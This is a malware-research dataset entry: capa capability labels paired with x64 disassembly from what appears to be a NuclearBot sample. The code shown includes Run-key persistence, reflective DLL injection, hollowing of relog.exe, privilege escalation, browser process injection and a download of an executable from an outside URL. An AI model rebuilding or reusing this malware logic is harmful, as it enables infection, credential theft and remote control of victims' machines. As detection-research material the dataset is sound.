joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002dbc
Capabilities:
Get common file path
Persist via run registry key

Disassembly:
push rbp
lea rbp, [rsp - 0x580]
sub rsp, 0x680
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x570], rax
call fcn.1400029c8
xor ecx, ecx
mov r8d, 0x104
lea rdx, [rsp + 0x40]
test al, al
jne 0x140002e85
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002e3f
lea r8, [rsp + 0x30]
lea rdx, str.OneDrive
lea rcx, [rsp + 0x40]
call fcn.140002ad0
xor r9d, r9d
lea rax, [rbp + 0x150]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002e79
lea r8, [rbp + 0x150]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x360]
call fcn.140002b28
lea rcx, [rbp + 0x360]
jmp 0x140002f0d
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002ecc
lea r8, [rsp + 0x30]
lea rdx, str.WpnUserService
lea rcx, [rsp + 0x40]
call fcn.140002ad0
xor r9d, r9d
lea rax, [rbp + 0x360]
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140002f06
lea r8, [rbp + 0x360]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x150]
call fcn.140002b28
lea rcx, [rbp + 0x150]
call fcn.140002c70
lea rcx, [rsp + 0x40]
call fcn.14000b370
mov rcx, qword [rbp + 0x570]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x680
pop rbp
ret

Function at 0x140002fa0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x140003043
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x140003043
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.140002f34
mov rdx, rbx
mov r14d, eax
add r14, rbx
mov ecx, dword [r14 + 0x20]
call fcn.140002f34
mov ecx, dword [r14 + 0x24]
mov rdx, rbx
mov esi, eax
add rsi, rbx
call fcn.140002f34
mov ebp, dword [r14 + 0x18]
mov edi, eax
add rdi, rbx
jmp 0x14000303f
mov ecx, dword [rsi]
mov rdx, rbx
dec ebp
call fcn.140002f34
lea rdx, str.ReflectiveLoader
mov ecx, eax
add rcx, rbx
call fcn.14000b3e8
test rax, rax
jne 0x140003060
add rsi, 4
add rdi, 2
test ebp, ebp
jne 0x140003015
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.140002f34
movzx r8d, word [rdi]
mov rdx, rbx
mov ecx, eax
add rcx, rbx
mov ecx, dword [rcx + r8*4]
call fcn.140002f34
jmp 0x140003045
Function at 0x140003084
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14d, r8d
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x4c], ebx
test rcx, rcx
je 0x140003178
test rdx, rdx
je 0x140003178
test r8d, r8d
je 0x140003178
mov rcx, rdx
call fcn.140002fa0
mov r12d, eax
test eax, eax
je 0x140003178
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, r14d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x140003178
mov dword [rsi + 2], r14d
mov qword [rsp + 0x20], rbx
mov r9d, r14d
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140003178
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 0x20]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x140003178
lea r9, [r15 + r12]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x40], rax
jmp 0x140003181
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret

Function at 0x1400031a4
Capabilities:
Get file size
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rcx
lea rcx, str.___Overwriting_file_content_n
call fcn.14000afa4
lea rdx, [rsp + 0x34]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
lea ebx, [rax - 0xc]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x140003229
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
lea rdx, [0x14002acf0]
mov r8d, 8
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
sub ebx, dword [rsp + 0x30]
cmp ebx, 8
ja 0x1400031f0
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000a720
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x140003248
Capabilities:
Parse pe header

Disassembly:
mov r9d, 0x5a4d
mov r8d, 0x400
mov r10d, 0x4550
test rcx, rcx
je 0x14000327c
cmp word [rcx], r9w
jne 0x14000327c
cmp dword [rcx + 0x3c], r8d
jg 0x14000327c
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], r10d
jne 0x14000327c
movzx edx, word [rax + rcx + 4]
jmp 0x14000327e
xor edx, edx
test rcx, rcx
je 0x1400032a4
cmp word [rcx], r9w
jne 0x1400032a4
cmp dword [rcx + 0x3c], r8d
jg 0x1400032a4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x1400032a4
mov ecx, 0x8664
mov eax, dword [rax + 0x28]
ret
xor eax, eax
ret
Function at 0x140003614
Capabilities:
Map section object
Parse pe header
Resume thread

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x220]
sub rsp, 0x320
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp + 0x210], rax
mov r15, rcx
mov rbx, rdx
lea rcx, [rbp + 2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov r14, r9
mov word [rbp], r12w
call fcn.1400142a0
lea rcx, [rbp]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], r12w
jne 0x140003669
sub rax, 2
cmp word [rbp + rax*2], 0x5c
je 0x14000368c
cmp word [rbp + rax*2], 0x2f
je 0x14000368c
dec rax
jmp 0x140003677
lea rcx, [rbp + 2]
lea rcx, [rcx + rax*2]
test rcx, rcx
je 0x14000369d
mov word [rcx], r12w
lea rcx, [rbp]
mov edx, 0x104
call fcn.14000bcc8
lea rdi, [rbp]
lea rcx, str.kernel32
test rax, rax
mov qword [rsp + 0x68], r12
cmove rdi, r12
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.CreateProcessInternalW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [0x140036b68], rax
test rax, rax
je 0x140003829
xor edx, edx
lea rcx, [rbp - 0x68]
lea r8d, [rdx + 0x60]
call fcn.1400142a0
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x60]
mov r8, r15
xor edx, edx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x68]
xor ecx, ecx
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 0x800000c
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x20], r12
call rsi
test eax, eax
je 0x140003829
mov rdx, qword [rsp + 0x68]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 1
lea rax, [rbp - 0x80]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x28], r12
mov qword [rbp - 0x80], r12
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
test eax, eax
je 0x1400037c2
cmp eax, 0x40000003
jne 0x140003829
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140003829
test rbx, rbx
je 0x140003800
mov eax, 0x5a4d
cmp word [rbx], ax
jne 0x140003800
cmp dword [rbx + 0x3c], 0x400
jg 0x140003800
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x140003800
mov ecx, 0x20b
cmp word [rax + 0x18], cx
mov al, 1
je 0x140003803
mov al, r12b
test al, al
lea r8, [rsp + 0x68]
mov rcx, rbx
sete r9b
call fcn.1400014e8
test al, al
je 0x140003829
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
jmp 0x14000382b
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x320
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x14000384c
Capabilities:
Link many functions at runtime
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [0x14002acf8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbx, rax
test rax, rax
je 0x140003a38
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.RtlCreateProcessParametersEx
mov rcx, rbx
mov qword [0x140036b60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140036b50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a38
lea rdx, str.NtQueryInformationFile
mov rcx, rbx
mov qword [0x140036b58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtQuerySystemInformation
mov rcx, rbx
mov qword [0x140036b38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtSuspendProcess
mov rcx, rbx
mov qword [0x140036b40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
lea rdx, str.NtResumeProcess
mov rcx, rbx
mov qword [0x140036b48], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000395b
mov qword [0x140036b30], rax
mov ebx, 0x104
lea rdx, [rsp + 0x260]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], di
call fcn.1400142a0
lea rdx, [rsp + 0x50]
lea rcx, str._SystemRoot__system32_relog.exe
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x260]
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x40], rdi
mov rbx, rax
call fcn.14000a488
mov rsi, rax
test rax, rax
je 0x140003a38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.1400032a8
mov rcx, rax
call fcn.140003574
lea rcx, [rsp + 0x50]
mov rdx, rsi
mov r9, rax
call fcn.140003614
mov rdx, qword [rsp + 0x40]
mov r8d, 0x4000
mov rcx, rsi
mov bl, al
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test bl, bl
setne dil
mov eax, edi
jmp 0x140003a3b
or eax, 0xffffffff
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140006bb8
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov r15, rdx
mov rdi, rcx
mov dword [rdx], r12d
xor r9d, r9d
lea rcx, str.NuclearBot
xor r8d, r8d
lea edx, [r9 + 1]
mov dword [rsp + 0x20], r12d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
jne 0x140006c22
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006be9
cmp qword [rdi + 0x18], 8
jb 0x140006c2e
mov rdx, qword [rdi]
jmp 0x140006c31
mov rdx, rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
jne 0x140006c68
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140006be9
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, rax
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x38], 4
mov qword [rsp + 0x20], r12
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ebx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, rbp
mov r14, rax
test rax, rax
jne 0x140006cda
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rdi + 0x18], 8
jb 0x140006cd6
mov rcx, qword [rdi]
call fcn.14000b084
xor eax, eax
jmp 0x140006d37
mov r8d, dword [rsp + 0x30]
mov ebx, r12d
mov rdx, rax
jmp 0x140006d01
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x140006d10
mov r8d, dword [rsp + 0x30]
add ebx, eax
mov rcx, rbp
mov edx, ebx
sub r8d, ebx
add rdx, r14
lea r9, [rsp + 0x34]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140006ce7
mov rcx, rbp
mov dword [r15], ebx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rdi + 0x18], 8
jb 0x140006d34
mov rcx, qword [rdi]
call fcn.14000b084
mov rax, r14
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], r12
mov word [rdi], r12w
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x140006d70
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006daf
xor al, al
jmp 0x140006dff
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140006df4
jmp 0x140006dde
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000bcf0
test eax, eax
je 0x140006df2
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006dcd
jmp 0x140006df4
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000a720
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140006ebc
Capabilities:
Get token privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140006f95
mov rcx, qword [rsp + 0x38]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x30]
call fcn.14000b608
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rbx, rax
lea rax, [rsp + 0x30]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140006f82
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140006f61
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x140006f4e
and qword [rsp + 0x28], 0
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000b5c8
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x50
pop rbx
ret
Function at 0x140006fa8
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x1060
call fcn.1400180b0
sub rsp, rax
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x1050], rax
and qword [rsp + 0x28], 0
mov rbx, rdx
mov rsi, rcx
lea rdx, str.https:__lsrael.today_fuck.exe
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x140007011
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x1400070c8
and qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rdi
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000704f
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140007001
mov ebp, 1
jmp 0x14000708a
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x1400070a8
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400070a6
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x40], eax
jne 0x1400070a6
mov rcx, rdi
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x1000
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140007056
jmp 0x1400070a8
xor ebp, ebp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebp, ebp
setne al
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.14000a720
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1060
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000781c
Capabilities:
Create http request
Get common file path

Disassembly:
sub rsp, 0x468
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140007850
mov eax, 1
jmp 0x1400078cf
lea r8, str.SystemUpdate.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.14000b2bc
and dword [rsp + 0x20], 0
xor r9d, r9d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5_0
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x1400078cd
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140006fa8
test al, al
je 0x1400078cd
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400078cd
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140007408
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14000a720
add rsp, 0x468
ret
Function at 0x1400078e8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rbp - 8], rax
xor r8d, r8d
lea r9, [rbp - 0x10]
mov dl, 1
lea ecx, [r8 + 0x14]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov r9d, 4
or rdi, 0xffffffffffffffff
lea r8, [rbp - 0xc]
lea edx, [r9 + 0x19]
mov rcx, rdi
mov dword [rbp - 0xc], 1
call qword [sym.imp.ntdll.dll_NtSetInformationProcess]
xor esi, esi
lea ebx, [rdi + 8]
lea rdx, [0x140035028]
lea rcx, [rbp - 0x30]
mov r9, rdi
xor r8d, r8d
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rbx
mov word [rbp - 0x30], si
call fcn.140003e70
lea rdx, [0x140036b88]
lea rcx, [rbp - 0x30]
call fcn.140006bb8
lea rdx, [0x140035048]
lea rcx, [rbp - 0x30]
mov r9, rdi
xor r8d, r8d
mov qword [rbp - 0x18], rbx
mov qword [0x140036b80], rax
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
call fcn.140003e70
lea rdx, [0x140036b74]
lea rcx, [rbp - 0x30]
call fcn.140006bb8
mov qword [0x140036b78], rax
call fcn.140005264
lea r8, [0x140006e24]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x140006e70]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea ebx, [rdi + 0x10]
lea edi, [rsi + 0xa]
lea rcx, [0x14002af48]
call fcn.140006d70
test al, al
je 0x140007a58
cmp byte [0x140036b70], sil
jne 0x140007a6e
lea rdx, str.firefox.exe
lea rcx, [rbp - 0x30]
mov r8d, 0xb
mov byte [0x140036b70], 1
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x30], sil
call fcn.140001808
mov edx, dword [0x140036b88]
mov rcx, qword [0x140036b80]
lea r8, [rbp - 0x30]
call fcn.1400020c0
jmp 0x140007a6e
lea rcx, [0x14002af48]
call fcn.140006d70
neg al
sbb cl, cl
and byte [0x140036b70], cl
lea rcx, [0x14002d438]
call fcn.140006d70
test al, al
je 0x140007ac5
cmp byte [0x140036b71], sil
jne 0x140007adb
lea rdx, str.chrome.exe
lea rcx, [rbp - 0x30]
mov r8, rdi
mov byte [0x140036b71], 1
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x30], sil
call fcn.140001808
mov edx, dword [0x140036b88]
mov rcx, qword [0x140036b80]
lea r8, [rbp - 0x30]
call fcn.1400020c0
jmp 0x140007adb
lea rcx, [0x14002d438]
call fcn.140006d70
neg al
sbb cl, cl
and byte [0x140036b71], cl
lea rcx, [0x14002d460]
call fcn.140006d70
test al, al
je 0x140007b32
cmp byte [0x140036b72], sil
jne 0x140007b48
lea rdx, str.msedge.exe
lea rcx, [rbp - 0x30]
mov r8, rdi
mov byte [0x140036b72], 1
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov byte [rbp - 0x30], sil
call fcn.140001808
mov edx, dword [0x140036b88]
mov rcx, qword [0x140036b80]
lea r8, [rbp - 0x30]
call fcn.1400020c0
jmp 0x140007b48
lea rcx, [0x14002d460]
call fcn.140006d70
neg al
sbb cl, cl
and byte [0x140036b72], cl
mov ecx, 0x2328
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400079fe
Function at 0x140007b58
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x450
mov rax, qword [0x140033410]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov ebx, 0x104
lea rdx, [rsp + 0x230]
xor ecx, ecx
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140007ba2
lea rcx, [rsp + 0x230]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x140007ba9
lea r8, [0x14002d488]
lea rcx, [rsp + 0x20]
or r9, 0xffffffffffffffff
mov rdx, rbx
call fcn.14000be64
lea rdx, str.relog.exe
lea rcx, [rsp + 0x20]
call fcn.1400175f8
test eax, eax
je 0x140007bed
call fcn.140006ebc
call fcn.14000781c
call fcn.140002dbc
call fcn.14000384c
test eax, eax
jne 0x140007bed
call fcn.1400078e8
int3
lea rdx, str.relog.exe
lea rcx, [rsp + 0x20]
call fcn.1400175f8
test eax, eax
jne 0x140007c41
lea r8, [0x14002d484]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x140007c3b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140007c3b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
